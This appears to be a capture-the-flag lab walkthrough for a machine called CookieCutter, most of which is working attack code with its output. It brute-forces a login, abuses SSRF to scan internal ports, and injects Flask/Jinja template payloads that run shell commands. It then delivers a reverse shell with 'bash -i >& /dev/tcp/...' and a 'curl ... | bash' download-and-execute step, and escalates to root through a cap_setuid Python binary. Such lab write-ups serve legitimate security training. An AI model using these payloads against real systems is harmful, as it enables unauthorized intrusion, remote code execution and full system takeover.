Exploitation Guide for CookieCutter

Summary
We'll exploit this machine via server-side template injection (SSTI) accessed via server-side request forgery (SSRF). We'll discover plaintext passwords by reverse-engineering a compiled C binary and by locating the binary's source code on the machine. We'll then escalated by exploiting sudo permissions and setuid capability.
Enumeration
Nmap
We'll start off with a simple nmap scan.
kali@kali:~$ sudo nmap 192.168.120.81
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-11-03 15:39 EST
Nmap scan report for 192.168.120.81
Host is up (0.044s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
50000/tcp open ibm-db2
This shows that ports 22, 80, and 50000 are open.
Website Exploration
The website on port 80 shows a "Coming Soon" page. This isn't very interesting, but if we explore the source code, we find this:
kali@kali:~$ curl <http://192.168.120.81>
...
<!-- TODO: finish website advertising brand new client and server, for now show clients /s3cret/client.py -->
...
Downloading this client allows up to communicate with port 50000. It also provides a username, but the password has been redacted.
#!/usr/bin/python3
import socket
HOST="127.0.0.1"
PORT=50000
s = None
def connect():
global s
s = socket.socket()
s.connect((HOST,PORT))
username = b"bob"
password = b"[REDACTED]"
# Example:
# 1\\x00admin\\x00password\\x00
def login():
connect()
buf = b""
buf += b"1"
buf += b"\\x00"
buf += username
buf += b"\\x00"
buf += password
buf += b"\\x00"
s.send(buf)
r = s.recv(4096)
data = r.split(b"\\x00")
s.close()
if int(data[0]) == 1:
return data[1].decode()
else:
return None
# Example:
# 2\\x00commands\\x00
def send_command(uuid, cmd, *args):
connect()
buf = b""
buf += b"2"
buf += b"\\x00"
buf += uuid.encode()
buf += b"\\x00"
buf += cmd.encode()
buf += b"\\x00"
if args != ():
for x in args:
buf += x.encode()
buf += b"\\x00"
s.send(buf)
r = s.recv(25600)
data = r.split(b"\\x00")
s.close()
if int(data[0]) == 1:
return data[1].decode()
else:
return None
#TODO program some of the example functions that we can show to the client
Python Code Review
The Python source reveals that the protocol for the application listening on port 50000 is simple and text-based, using null bytes as separators for the data fields. The first field appears to be the "opcode" field, the second is data and the further fields are arguments to functions.
To begin we'll change the machine's IP, and figure out how to log in. Let's attempt a login and observe the response. We'll add a print(data)
to the login()
function and add a call to the login()
function at the very end of the file.
kali@kali:~$ python3 client.py
[b'0', b'Invalid Login!', b'']
Password Bruteforce
With some further modification, we can start bruteforcing the password. We'll use Metasploit's unix_passwords.txt wordlist.
passwords = (p.strip() for p in open("/usr/share/wordlists/metasploit/unix_passwords.txt", "rb").readlines())
for p in passwords:
password = p
if login():
print(f"Found Password: {password}")
exit(0)
Eventually we discover a password: cookie1
.
kali@kali:~$ python3 client.py
Found Password: b'cookie1'
Server Exploration
We can now run the program again with the correct username and password to determine what the login()
function is supposed to return. We discover that it returns what
appears be a random UUID. This coincides with the other function in the Python file that requires a UUID as the first argument.
If we add a print(data)
inside of the send_command()
function, then run the following code, the server responds that the command is invalid:
uuid = login()
send_command(uuid, "test")
kali@kali:~$ python3 client.py
[b'0', b'Invalid Command!', b'']
Further digging in the original source code reveals a commands
command in the example. Let's try it out.
uuid = login()
send_command(uuid, "commands")
kali@kali:~$ python3 client.py
[b'1', b'commands|id|curl', b'']
Not surprisingly, this returns what appears to be a list of available commands. Running the id
command gives us uid=33(www-data) gid=33(www-data) groups=33(www-data)
. Unfortunately, command injection doesn't appear to work here, so let's move on to the next command.
The curl
command also seems to be invulnerable to command injection, however we could try to reach internal resources. Let's start by trying to reach port 80 with print(send_command(uuid, "curl", "<http://127.0.0.1>"))
:
kali@kali:~$ python3 client.py
PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCgk8dGl0bGU+...
The result appears to be base64 encoded, but we did receive a response. If we decode it, we learn that the response is consistent with what we would have received if we connected to port 80 remotely.
Internal Scan
Using the file://
handler doesn't appear to work here so we don't have the ability to read files. However, we used 127.0.0.1
to reach the server, which means we have found a Server Side Request Forgery (SSRF) vulnerability. We could leverage this to reach other potential open ports on the machine.
Scanning for all 65,535 ports would take a very long time, so let's start with nmap's top 100 ports:
kali@kali:~$ nmap -F -oG - -v
# Nmap 7.80 scan initiated Tue Nov 3 16:58:26 2020 as: nmap -F -oG - -v
# Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)
WARNING: No targets were specified, so 0 hosts scanned.
After pasting this list into a file (one port per line), we can perform a port scan like this:
ports = (p.strip() for p in open("ports.txt").readlines())
for port in ports:
result = send_command(uuid, "curl", f"<http://127.0.0.1>:{port}/")
if result != "ERROR":
print("Found Port: " + str(port))
We find 2 ports: 80 and 8080. We are already aware of 80, however 8080 is new.
Decoding the base64 shows a simple "admin echo test", which takes the GET
parameter echostr
.
<!DOCTYPE html>
<html>
<head>
<title>Internal Admin Echo Test</title>
</head>
<body>
<form action="/" method="get">
<input type="text" name="echostr" value="Hello World!">
<input type="submit" value="Submit">
</form>
</body>
</html>
Modified Client File
At this point it would be easier to modify the program so that it takes the desired string as a command line argument. We can also speed things along by decoding the result directly in the Python code.
#!/usr/bin/python3
import socket
import sys
import base64
import html
HOST="192.168.120.81"
PORT=50000
s = None
def connect():
global s
s = socket.socket()
s.connect((HOST,PORT))
username = b"bob"
password = b"cookie1"
# Example:
# 1\\x00admin\\x00password\\x00
def login():
connect()
buf = b""
buf += b"1"
buf += b"\\x00"
buf += username
buf += b"\\x00"
buf += password
buf += b"\\x00"
s.send(buf)
r = s.recv(4096)
data = r.split(b"\\x00")
s.close()
if int(data[0]) == 1:
return data[1].decode()
else:
return None
# Example:
# 2\\x00commands\\x00
def send_command(uuid, cmd, *args):
connect()
buf = b""
buf += b"2"
buf += b"\\x00"
buf += uuid.encode()
buf += b"\\x00"
buf += cmd.encode()
buf += b"\\x00"
if args != ():
for x in args:
buf += x.encode()
buf += b"\\x00"
s.send(buf)
r = s.recv(25600)
# Sometimes we do not always receive all the data in one call. This makes sure we get it all.
for i in range(50):
r += s.recv(25600)
data = r.split(b"\\x00")
s.close()
if int(data[0]) == 1:
return data[1].decode()
else:
return None
#TODO program some of the example functions that we can show to the client
uuid = login()
s = sys.argv[1]
result = send_command(uuid, "curl", f"<http://127.0.0.1:8080?echostr={s}>")
if result != 'ERROR':
# Sometimes python struggles with missing padding. Add some, it will ignore the extra.
decoded = base64.b64decode(result + '========').decode()
# Result comes html escaped. Unescape it so it's easier to read.
decoded = html.unescape(decoded)
print(decoded)
Internal Site Exploration
From here we can try different injections (like SQLi and command injection), but we have determined that {{7*7}}
returns 49
:
kali@kali:~$ python3 client.py '{{7*7}}'
<!DOCTYPE html>
<html>
<head>
<title>Internal Admin Echo Test</title>
</head>
<body>
<form action="/" method="get">
<input type="text" name="echostr" value="Hello World!">
<input type="submit" value="Submit">
</form>
<p>49</p>
</body>
</html>
This leads us to believe that this page is vulnerable to Server Side Template Injection (SSTI). We can verify this with {{config}}
which prints the flask app config:
kali@kali:~$ python3 client.py '{{config}}' | grep '<p>'
<p><Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, ...
This contains no useful information, but proves two things: the website is running Flask, and we have found an SSTI vulnerability.
Exploitation
Our end goal here is to identify how we can access subprocess.Popen
so we can run shell commands. We would normally start with a base class, identify the subclasses of that class, and then traverse the object until we can run Popen
.
Let's use {}
(dict) as our starting point. We'll traverse the object hierarchy to eventually build a list of all subclasses of Object
.
kali@kali:~$ python3 client.py '{{{}.__class__.__base__.__subclasses__()}}' | grep '<p>'
<p>[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, ...
This results in a huge list of subclasses. Now we need to locate subprocess.Popen
. We determine that it is 401st in the list, so if we start numbering from 0, it's at offset 400. Keep in mind this number may differ on your machine.
Now that we have the offset of subprocess.Popen
, we can run commands on the machine.
kali@kali:~$ python3 client.py '{{{}.__class__.__base__.__subclasses__()[400]("id", shell=True, stdout=-1).communicate()[0].decode()}}' | grep '<p>'
<p>uid=1001(bob) gid=1001(bob) groups=1001(bob)
Now all that remains is to execute a full shell. Let's first create a shell file:
kali@kali:~$ cat shell.sh
bash -i >& /dev/tcp/192.168.118.9/8080 0>&1
Next, we'll start a web server so the victim can download the shell file from us:
kali@kali:~$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) ...
Let's start the listener.
kali@kali:~$ nc -nvlp 8080
listening on [any] 8080 ...
Next, we'll download and execute it from the victim.
kali@kali:~$ python3 client.py '{{{}.__class__.__base__.__subclasses__()[400]("curl 192.168.118.9/shell.sh | bash", shell=True, stdout=-1).communicate()[0].decode()}}'
This gives us a shell as bob
.
kali@kali:~$ nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.118.9] from (UNKNOWN) [192.168.120.81] 40190
bash: cannot set terminal process group (621): Inappropriate ioctl for device
bash: no job control in this shell
bob@cookiecutter:/var/www/internal_admin$ id
id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
Escalation
File Enumeration
Now that we have a shell, we can start poking around bob's files. We discover a password_check C binary in the home folder. Running it without arguments results in a segmentation fault, and if we provide an argument, the program informs us that the password is incorrect.
We could attempt to reverse engineer the binary, but let's keep digging for now. The .code directory seems particularly interesting. If we open the .code/source.c file, we discover what seems to be the source code for the password_check binary.
We could try to interpret the code, but it's much simpler to simply insert a printf("%s\\n", s);
line to print the password.
kali@kali:~$ ./code
I_Pr3f3r_C4k3!
Segmentation fault
It turns out we can reuse this password to get a better shell via SSH.
kali@kali:~$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-122-generic x86_64)
...
bob@cookiecutter:~$
sudo
Now that we have a password, let's try to escalate. We'll begin by exploring sudo.
bob@cookiecutter:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on cookiecutter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin
User bob may run the following commands on cookiecutter:
(bob : python_admin) /usr/bin/admin_python3
It seems we can run /usr/bin/admin_python3 as the python_admin
group. Let's explore this binary.
bob@cookiecutter:~$ ls -lh /usr/bin/admin_python3
-rwxr-x--- 1 root python_admin 4.4M Oct 27 11:28 /usr/bin/admin_python3
Only root and members of the python_admin
group can run this binary. Executing it seems to provide a fairly standard python3 shell, which allows us to run arbitrary commands as the python_admin
group. However, this group does not seem to have any other privileges on the system, so let's keep digging.
Let's determine the capabilities of the binary.
bob@cookiecutter:~$ getcap /usr/bin/admin_python3
/usr/bin/admin_python3 = cap_setuid+ep
After some research, we discover that this capability allows us to "Make arbitrary manipulations of process UIDs".
We can use this to escalate to root.
bob@cookiecutter:~$ sudo -g python_admin /usr/bin/admin_python3
[sudo] password for bob:
Python 3.6.9 (default, Oct 8 2020, 12:12:24)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system("bash")
root@cookiecutter:~# id
uid=0(root) gid=1002(python_admin) groups=1002(python_admin),1001(bob)
Discussion